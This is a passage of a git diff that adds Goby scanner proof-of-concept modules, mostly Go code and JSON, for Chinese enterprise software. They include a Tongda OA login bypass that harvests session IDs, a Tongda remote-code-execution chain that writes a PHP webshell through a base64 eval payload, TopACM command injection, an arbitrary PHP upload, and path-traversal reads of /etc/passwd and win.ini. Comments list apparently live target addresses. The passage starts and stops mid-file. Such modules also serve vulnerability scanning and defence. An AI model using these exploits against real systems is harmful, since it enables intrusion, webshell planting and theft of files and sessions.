Tongda OA (Office Anywhere Network Intelligent Office System) is a collaborative office automation software independently developed by Beijing Tongda Xinke Technology Co., Ltd. It is a comprehensive management office platform formed by combining with Chinese enterprise management practices.

Tongda has an arbitrary user login vulnerability. An attacker can log in to any user through the specified interface, obtain background management permissions, and directly log in to the background for sensitive operations.

", + "Recommendation": "

Please follow the manufacturer's website to update it in time. https://www.tongda2000.com/

", + "Impact": "

Tongda has an arbitrary user login vulnerability. An attacker can log in to any user through the specified interface, obtain background management permissions, and directly log in to the background for sensitive operations.

", + "VulType": [ + "Login Bypass" + ], + "Tags": [ + "Login Bypass" + ] + } + }, + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + checkIsTongdaOA1231234 := func(host *httpclient.FixUrl) bool { + requestConfig := httpclient.NewGetRequestConfig("/inc/expired.php") + requestConfig.VerifyTls = false + requestConfig.FollowRedirect = false + + if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "tongda") + } + return false + } + + getTongdaCodeUID435345 := func(host *httpclient.FixUrl) string { + requestConfig := httpclient.NewGetRequestConfig("/ispirit/login_code.php") + requestConfig.VerifyTls = false + requestConfig.FollowRedirect = false + + if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.RawBody, "\"codeuid\"") { + return regexp.MustCompile(`\{"codeuid":"\{(.*?)}"`).FindStringSubmatch(resp.RawBody)[1] + } + } + return "" + } + + getTongdaPHPSESSID4564234 := func(codeuid string, host *httpclient.FixUrl) string { + requestConfig := httpclient.NewPostRequestConfig("/logincheck_code.php") + requestConfig.VerifyTls = false + requestConfig.FollowRedirect = false + requestConfig.Header.Store("Content-type", "application/x-www-form-urlencoded") + requestConfig.Data = "UID=1&CODEUID=_PC{" + codeuid + "}" + + if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.RawBody, "\"status\":1") && strings.Contains(resp.RawBody, "\"url\":\"general") && strings.Contains(resp.HeaderString.String(), "Set-Cookie: PHPSESSID=") { + return regexp.MustCompile(`Set-Cookie: PHPSESSID=(.*?);`).FindStringSubmatch(resp.HeaderString.String())[1] + } + } + return "" + } + + exploitTongda45321 := func(phpsessionid string, host *httpclient.FixUrl) bool { + // 攻击 URL + requestConfig := httpclient.NewGetRequestConfig("/general/") + requestConfig.VerifyTls = false + requestConfig.FollowRedirect = false + requestConfig.Timeout = 15 + requestConfig.Header.Store("Cookie", "PHPSESSID="+phpsessionid) + + // 发送攻击请求 + if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil { + return resp.StatusCode == 302 && strings.Contains(resp.Utf8Html, "tongdainfo") + } + return false + } + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + if checkIsTongdaOA1231234(u) { + codeuid := getTongdaCodeUID435345(u) + if codeuid != "" { + phpsessionid := getTongdaPHPSESSID4564234(codeuid, u) + if phpsessionid != "" { + return exploitTongda45321(phpsessionid, u) + } + } + } + + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + + if checkIsTongdaOA1231234(expResult.HostInfo) { + codeuid := getTongdaCodeUID435345(expResult.HostInfo) + if codeuid != "" { + phpsessionid := getTongdaPHPSESSID4564234(codeuid, expResult.HostInfo) + if phpsessionid != "" { + if exploitTongda45321(phpsessionid, expResult.HostInfo) { + expResult.Success = true + expResult.Output = "登陆成功,使用如下 session 即可登陆:" + phpsessionid + } + } + } + } + + return expResult + }, + )) +} + +// http://14.18.236.21:8000/ \ No newline at end of file diff --git a/lib/goby/goby_pocs/Tongda_OA_api.ali.php_RCE.go b/lib/goby/goby_pocs/Tongda_OA_api.ali.php_RCE.go new file mode 100644 index 000000000..92fac0aba --- /dev/null +++ b/lib/goby/goby_pocs/Tongda_OA_api.ali.php_RCE.go @@ -0,0 +1,128 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" + "regexp" + "time" + "encoding/base64" +) + +func init() { + expJson := `{ + "Name": "Tongda OA api.ali.php RCE", + "Description": "There is PHP command execution in Tongda OA api.ali.php file, which can be written to webshell file to control the server", + "Product": "Tongda OA", + "Homepage": "https://www.tongda2000.com", + "DisclosureDate": "2021-06-05", + "Author": "PeiQi", + "GobyQuery": "app=\"TongDa-OA\"", + "Level": "3", + "Impact": "

Tongda OA

", + "Recommendation": "Update patches in time", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": null, + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND" + ], + "ExploitSteps": null, + "Tags": [ + "RCE" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "Tongda OA" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + }, + "Disable": false, + "Recommandation": "

Update

" +}` + + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + randomStr := goutils.RandomHexString(8) + uri := "/mobile/api/api.ali.php" + eval_data := "file_put_contents('../../" + randomStr + ".php','');" + eval_data_base := []byte(eval_data) + encoded := base64.StdEncoding.EncodeToString(eval_data_base) + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "multipart/form-data; boundary=502f67681799b07e4de6b503655f5cae") + cfg.Data = "--502f67681799b07e4de6b503655f5cae\r\nContent-Disposition: form-data; name=\"file\"; filename=\"" + randomStr + ".json\"\r\nContent-Type: application/octet-stream\r\n\r\n{\"modular\":\"AllVariable\",\"a\":\"" + encoded + "\",\"dataAnalysis\":\"{\\\"a\\\":\\\"錦',$BackData[dataAnalysis] => eval(base64_decode($BackData[a])));/*\\\"}\"}\r\n--502f67681799b07e4de6b503655f5cae--" + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + if resp.StatusCode == 200 { + uri_1 := "/inc/package/work.php?id=../../../../../myoa/attach/approve_center/2106/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E." + randomStr + cfg_1 := httpclient.NewGetRequestConfig(uri_1) + cfg_1.VerifyTls = false + cfg_1.FollowRedirect = false + cfg_1.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg_1); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.RawBody, "OK") { + uri_2 := "/" + randomStr + ".php" + cfg_2 := httpclient.NewGetRequestConfig(uri_2) + cfg_2.VerifyTls = false + cfg_2.FollowRedirect = false + cfg_2.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg_2); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, randomStr) + } + } + } + } + } + + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + randomStr := goutils.RandomHexString(8) + randomStr_pass := goutils.RandomHexString(4) + uri := "/mobile/api/api.ali.php" + eval_data := "file_put_contents('../../" + randomStr + ".php','');" + eval_data_base := []byte(eval_data) + encoded := base64.StdEncoding.EncodeToString(eval_data_base) + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "multipart/form-data; boundary=502f67681799b07e4de6b503655f5cae") + cfg.Data = "--502f67681799b07e4de6b503655f5cae\r\nContent-Disposition: form-data; name=\"file\"; filename=\"" + randomStr + ".json\"\r\nContent-Type: application/octet-stream\r\n\r\n{\"modular\":\"AllVariable\",\"a\":\"" + encoded + "\",\"dataAnalysis\":\"{\\\"a\\\":\\\"錦',$BackData[dataAnalysis] => eval(base64_decode($BackData[a])));/*\\\"}\"}\r\n--502f67681799b07e4de6b503655f5cae--" + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 { + uri_1 := "/inc/package/work.php?id=../../../../../myoa/attach/approve_center/2106/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E." + randomStr + cfg_1 := httpclient.NewGetRequestConfig(uri_1) + cfg_1.VerifyTls = false + cfg_1.FollowRedirect = false + cfg_1.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg_1); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.RawBody, "OK") { + expResult.Output = "Webshell Addr: /" + randomStr + ".php\r\n" + "Webshell Pass: " + randomStr_pass + expResult.Success = true + } + } + } + } + return expResult + }, + )) +} + diff --git a/lib/goby/goby_pocs/TopSec_Reporter_Arbitrary_file_download_CNVD_2021_41972.go b/lib/goby/goby_pocs/TopSec_Reporter_Arbitrary_file_download_CNVD_2021_41972.go new file mode 100644 index 000000000..35bc4e9ef --- /dev/null +++ b/lib/goby/goby_pocs/TopSec_Reporter_Arbitrary_file_download_CNVD_2021_41972.go @@ -0,0 +1,136 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "TopSec Reporter Arbitrary file download CNVD-2021-41972", + "Description": "Tianrongxin Technology Group, founded on August 30, 1985, is a leading provider of network security, big data and secure cloud services in China.\\nRandom file download vulnerability exists in Tianrongxin Technology Group Reporter, which can be used by attackers to obtain sensitive information.", + "Product": "TOPSEC Reporter", + "Homepage": "http://www.topsec.com.cn", + "DisclosureDate": "2021-07-18", + "Author": "luckying1314@139.com", + "GobyQuery": "title=\"Reporter\"", + "Level": "2", + "Impact": "

The vulnerability of arbitrary file download or read is mainly caused by the fact that when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter without verifying the validity of the file path. As a result, the attacker can jump through the directory (..\\ or../) to download or read a file beyond the original specified path.The attacker can finally download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system.

", + "Recommandation": "

Limit ../ symbol is used to determine the input path when the file is downloaded. The best method is that the file should be one to one in the database, and avoid entering the absolute path to obtain the file

", + "References": [ + "https://www.cnvd.org.cn/flaw/show/CNVD-2021-41972" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "path", + "type": "createSelect", + "value": "../../../../../../../../../etc/passwd,../../../../../../../../../etc/hosts", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/view/action/download_file.php?filename=../../../../../../../../../etc/passwd", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "root", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "daemon", + "bz": "" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "GET", + "uri": "/view/action/download_file.php?filename=../../../../../../../../../etc/hosts", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "127.0.0.1", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/view/action/download_file.php?filename={{{path}}}", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "file download" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/TopSec_TopACM_Remote_Command_Execution.go b/lib/goby/goby_pocs/TopSec_TopACM_Remote_Command_Execution.go new file mode 100644 index 000000000..03960d9f8 --- /dev/null +++ b/lib/goby/goby_pocs/TopSec_TopACM_Remote_Command_Execution.go @@ -0,0 +1,77 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "net/url" + "strings" +) + +func init() { + expJson := `{"Name":"TopSec TopACM Remote Command Execution","Description":"

Topacm comprehensively considers the needs of customers in various industries and provides customers with practical functions such as security strategy, link load, identity authentication, traffic management, behavior control, online audit, log tracing, network supervision docking, user behavior analysis, VPN, etc. The product has good network adaptability and meets the relevant requirements on user behavior audit and log retention in the network security law, Ministry of public security order 151, etc. At present, the products are widely used in government, education, energy, enterprises, operators and other industries to help customers standardize the network, improve work efficiency, and mine data value.

There is an arbitrary command execution vulnerability in the TopSec Internet behavior management system. Attackers can execute arbitrary commands on the system, write files, obtain webshell, and read sensitive information.

Topacm comprehensively considers the needs of customers in various industries and provides customers with practical functions such as security strategy, link load, identity authentication, traffic management, behavior control, online audit, log tracing, network supervision docking, user behavior analysis, VPN, etc. The product has good network adaptability and meets the relevant requirements on user behavior audit and log retention in the network security law, Ministry of public security order 151, etc. At present, the products are widely used in government, education, energy, enterprises, operators and other industries to help customers standardize the network, improve work efficiency, and mine data value.

There is an arbitrary command execution vulnerability in the TopSec Internet behavior management system. Attackers can execute arbitrary commands on the system, write files, obtain webshell, and read sensitive information.

","Product":"TopSec-TopACM","Homepage":"https://www.topsec.com.cn/product/27.html","DisclosureDate":"2022-07-28","Author":"su18@javaweb.org","FofaQuery":"body=\"ActiveXObject\" && body=\"name=\\\"dkey_login\\\" \" && body=\"repeat-x left top\"","GobyQuery":"body=\"ActiveXObject\" && body=\"name=\\\"dkey_login\\\" \" && body=\"repeat-x left top\"","Level":"3","Impact":"

There is an arbitrary command execution vulnerability in the TopSec Internet behavior management system. Attackers can execute arbitrary commands on the system, write files, obtain webshell, and read sensitive information.

","Recommendation":"

At present, the manufacturer has not released a security patch. Please pay attention to the official update.https://www.topsec.com.cn/product/27.html

","References":["https://mp.weixin.qq.com/s/5UMEIrDiG5hQFofByYH78g"],"Is0day":false,"HasExp":true,"ExpParams":[{"name":"cmd","type":"input","value":"echo%20PD9waHAgcGhwaW5mbygpOw==%20|base64%20-d%20%3E/var/www/html/3.php","show":""}],"ExpTips":{"Type":"","Content":""},"ScanSteps":["AND",{"Request":{"method":"GET","uri":"/test.php","follow_redirect":false,"header":[],"data_type":"text","data":""},"ResponseTest":{"type":"group","operation":"AND","checks":[{"type":"item","variable":"$code","operation":"==","value":"200","bz":""},{"type":"item","variable":"$body","operation":"contains","value":"test","bz":""}]},"SetVariable":[]}],"ExploitSteps":["AND",{"Request":{"method":"GET","uri":"/test.php","follow_redirect":true,"header":[],"data_type":"text","data":""},"ResponseTest":{"type":"group","operation":"AND","checks":[{"type":"item","variable":"$code","operation":"==","value":"200","bz":""},{"type":"item","variable":"$body","operation":"contains","value":"test","bz":""}]},"SetVariable":[]}],"Tags":["Command Execution"],"VulType":["Command Execution"],"CVEIDs":[""],"CNNVD":[""],"CNVD":[""],"CVSSScore":"9.8","Translation":{"CN":{"Name":"天融信上网行为管理系统命令执行","Product":"天融信-上网行为管理系统","Description":"

天融信上网行为管理系统(TopACM)综合考虑各行业客户需求,为客户提供安全策略、链路负载、身份认证、流量管理、行为管控、上网审计、日志追溯、网监对接、用户行为分析、VPN等实用功能。产品具有良好的网络适应性并满足《网络安全法》、公安部151号令、等保2.0等关于用户行为审计和日志留存的相关要求。目前产品广泛应用于政府、教育、能源、企业、运营商等各类行业,协助客户规范网络、提高工作效率、挖掘数据价值。

天融信上网行为管理系统存在任意命令执行漏洞,攻击者可以在系统上执行任意命令,写入文件,获取webshell,读取敏感信息。

","Recommendation":"

目前厂商还未发布安全补丁,请关注官方更新。https://www.topsec.com.cn/product/27.html

","Impact":"

天融信上网行为管理系统存在任意命令执行漏洞,攻击者可以在系统上执行任意命令,写入文件,获取webshell,读取敏感信息。

","VulType":["命令执⾏"],"Tags":["命令执⾏"]},"EN":{"Name":"TopSec TopACM Remote Command Execution","Product":"TopSec-TopACM","Description":"

Topacm comprehensively considers the needs of customers in various industries and provides customers with practical functions such as security strategy, link load, identity authentication, traffic management, behavior control, online audit, log tracing, network supervision docking, user behavior analysis, VPN, etc. The product has good network adaptability and meets the relevant requirements on user behavior audit and log retention in the network security law, Ministry of public security order 151, etc. At present, the products are widely used in government, education, energy, enterprises, operators and other industries to help customers standardize the network, improve work efficiency, and mine data value.

There is an arbitrary command execution vulnerability in the TopSec Internet behavior management system. Attackers can execute arbitrary commands on the system, write files, obtain webshell, and read sensitive information.

Topacm comprehensively considers the needs of customers in various industries and provides customers with practical functions such as security strategy, link load, identity authentication, traffic management, behavior control, online audit, log tracing, network supervision docking, user behavior analysis, VPN, etc. The product has good network adaptability and meets the relevant requirements on user behavior audit and log retention in the network security law, Ministry of public security order 151, etc. At present, the products are widely used in government, education, energy, enterprises, operators and other industries to help customers standardize the network, improve work efficiency, and mine data value.

There is an arbitrary command execution vulnerability in the TopSec Internet behavior management system. Attackers can execute arbitrary commands on the system, write files, obtain webshell, and read sensitive information.

","Recommendation":"

At present, the manufacturer has not released a security patch. Please pay attention to the official update.https://www.topsec.com.cn/product/27.html

","Impact":"

There is an arbitrary command execution vulnerability in the TopSec Internet behavior management system. Attackers can execute arbitrary commands on the system, write files, obtain webshell, and read sensitive information.

","VulType":["Command Execution"],"Tags":["Command Execution"]}},"AttackSurfaces":{"Application":null,"Support":null,"Service":null,"System":null,"Hardware":null}}` + + exploitTopACM092348783482 := func(cmd string, host *httpclient.FixUrl) bool { + // 攻击 URL + requestConfig := httpclient.NewGetRequestConfig("/view/IPV6/naborTable/static_convert.php?blocks[0]=|%20" + url.QueryEscape(cmd)) + requestConfig.VerifyTls = false + requestConfig.FollowRedirect = false + requestConfig.Timeout = 15 + + // 发送攻击请求 + if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "ip -6 neigh del") { + return true + } + } + return false + } + + checkExistFileTopACM092348783482 := func(fileName string, fileContent string, host *httpclient.FixUrl) bool { + // 攻击 URL + requestConfig := httpclient.NewGetRequestConfig("/" + fileName + ".php") + requestConfig.VerifyTls = false + requestConfig.FollowRedirect = false + requestConfig.Timeout = 15 + + // 发送攻击请求 + if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, fileContent) { + return true + } + } + return false + } + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + + // 生成随机文件名 + randomFileName := goutils.RandomHexString(6) + + // 漏洞攻击包,POC 使用自删除的文件 + // /var/www/html/"+randomFileName+".php", u) { + return checkExistFileTopACM092348783482(randomFileName, "e165421110ba03099a1c0393373c5b43", u) + } + + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + + cmd := ss.Params["cmd"].(string) + + if exploitTopACM092348783482(cmd, expResult.HostInfo) { + expResult.Success = true + expResult.Output = "命令执行成功" + } + + return expResult + }, + )) +} + +// https://heiwado.cn:8443/ \ No newline at end of file diff --git a/lib/goby/goby_pocs/Tuchuang_Library_System_Arbitrary_Reading_File_CNVD_2021_34454.go b/lib/goby/goby_pocs/Tuchuang_Library_System_Arbitrary_Reading_File_CNVD_2021_34454.go new file mode 100644 index 000000000..d0c86751a --- /dev/null +++ b/lib/goby/goby_pocs/Tuchuang_Library_System_Arbitrary_Reading_File_CNVD_2021_34454.go @@ -0,0 +1,105 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "Tuchuang Library System Arbitrary Reading File (CNVD-2021-34454)", + "Description": "Guangzhou Tuchuang Computer Software Development Co., Ltd. is a high-tech enterprise integrating product development, application integration and customer service. Its main goal is to provide high quality application software system design, integration and maintenance services for users in the library industry\\nUsing the vulnerability, an attacker can read arbitrary files on a Windows or Linux server.Using the file reading vulnerability, the attacker can obtain the system file information, thus causing the sensitive information leakage.", + "Product": "Tuchuang Library System", + "Homepage": "www.interlib.com.cn", + "DisclosureDate": "2021-07-03", + "Author": "luckying1314@139.com", + "GobyQuery": "body=\"广州图创\" &&body=\"/interlib/common/\"", + "Level": "2", + "Impact": "

Using the vulnerability, an attacker can read arbitrary files on a Windows or Linux server.Using the file reading vulnerability, the attacker can obtain the system file information, thus causing the sensitive information leakage.

", + "Recommandation": "

Limit ../ symbol, file download to determine the input path, the best way is that the file should be in the database for one-to-one correspondence, avoid by entering the absolute path to get files

", + "References": [ + "https://mp.weixin.qq.com/s?__biz=Mzg5NjU3NzE3OQ==&mid=2247486519&idx=1&sn=99b6d84a7344dff201f1450a31962253&chksm=c07fb7c3f7083ed55e8ccf7312d99dc87ac953d7ed9c3c3403e3af9ead94d552fdb50ae7c74e&scene=178&cur_album_id=1783730541079363585#rd" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "path", + "type": "createSelect", + "value": "C://Windows//win.ini,C://Windows//system.ini", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/interlib/report/ShowImage?localPath=C:\\Windows\\win.ini", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "MAPI", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/interlib/report/ShowImage?localPath={{{path}}}", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "fileread" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/VENGD_Arbitrary_File_Upload.json b/lib/goby/goby_pocs/VENGD_Arbitrary_File_Upload.json new file mode 100644 index 000000000..285d63013 --- /dev/null +++ b/lib/goby/goby_pocs/VENGD_Arbitrary_File_Upload.json @@ -0,0 +1,161 @@ +{ + "Name": "VENGD Arbitrary File Upload", + "Level": "3", + "Tags": [ + "getshell" + ], + "GobyQuery": "title=\"和信下一代云桌面VENGD\"", + "Description": "和信创天云桌面系统存在任意文件上传", + "Product": "VENGD", + "Homepage": "https://www.vesystem.com/products/3", + "Author": "aetkrad", + "Impact": "", + "Recommendation": "", + "References": [ + "https://blog.csdn.net/weixin_44146996/article/details/115611026" + ], + "HasExp": true, + "ExpParams": [ + { + "Name": "FileContent", + "Type": "input", + "Value": "<?php phpinfo(); ?>" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/Upload/upload_file.php?l=test", + "follow_redirect": false, + "header": { + "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv" + }, + "data_type": "text", + "data": "------WebKitFormBoundaryfcKRltGv\nContent-Disposition: form-data; name=\"file\"; filename=\"{{{r1}}}.php\"\nContent-Type: image/avif\n\n\n------WebKitFormBoundaryfcKRltGv--", + "set_variable": [ + "str1|rand|str|7", + "r1|rand|int|8" + ] + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + } + ] + }, + "SetVariable": [ + "output|lastbody|regex|" + ] + }, + { + "Request": { + "method": "GET", + "uri": "/Upload/test/{{{r1}}}.php", + "follow_redirect": false, + "header": null, + "data_type": "text", + "data": "", + "set_variable": [] + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "{{{str1}}}", + "bz": "" + } + ] + }, + "SetVariable": [ + "output|lastbody|regex|" + ] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/Upload/upload_file.php?l=test", + "follow_redirect": false, + "header": { + "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv" + }, + "data_type": "text", + "data": "------WebKitFormBoundaryfcKRltGv\nContent-Disposition: form-data; name=\"file\"; filename=\"{{{r1}}}.php\"\nContent-Type: image/avif\n\n{{{FileContent}}}\n------WebKitFormBoundaryfcKRltGv--", + "set_variable": [ + "r1|rand|int|8" + ] + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + } + ] + }, + "SetVariable": [ + "output|lastbody|regex|" + ] + }, + { + "Request": { + "method": "GET", + "uri": "/Upload/test/{{{r1}}}.php", + "follow_redirect": false, + "header": null, + "data_type": "text", + "data": "", + "set_variable": [] + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + } + ] + }, + "SetVariable": [ + "output|define|text|/Upload/test/{{{r1}}}.php" + ] + } + ], + "PostTime": "2021-12-09 13:55:04", + "GobyVersion": "1.9.310" +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/WangKang_NS_ASG_cert_download.php_File_read.go b/lib/goby/goby_pocs/WangKang_NS_ASG_cert_download.php_File_read.go new file mode 100644 index 000000000..156944356 --- /dev/null +++ b/lib/goby/goby_pocs/WangKang_NS_ASG_cert_download.php_File_read.go @@ -0,0 +1,103 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "WangKang NS-ASG cert_download.php File read", + "Description": "WangKang NS-ASG cert_download.php File read", + "Product": "WangKang NS-ASG", + "Homepage": "https://www.netentsec.com/", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "(app=\"Netentsec-NS-ASG-Security-gateway\" || title=\"网康 NS-ASG 应用安全网关\")", + "Level": "1", + "Impact": "File read", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "File", + "type": "input", + "value": "/etc/passwd" + } + ], + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["File read"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["WangKang NS-ASG"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/admin/cert_download.php?file=pqpqpqpq.txt&certfile=cert_download.php" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "readfile") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + file := ss.Params["File"].(string) + uri := "/admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../.." + file + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/WangKang_Next_generation_firewall_router_RCE.go b/lib/goby/goby_pocs/WangKang_Next_generation_firewall_router_RCE.go new file mode 100644 index 000000000..0c86a0feb --- /dev/null +++ b/lib/goby/goby_pocs/WangKang_Next_generation_firewall_router_RCE.go @@ -0,0 +1,121 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "WangKang Next generation firewall router RCE", + "Description": "WangKang Next generation firewall router RCE", + "Product": "WangKang Next generation 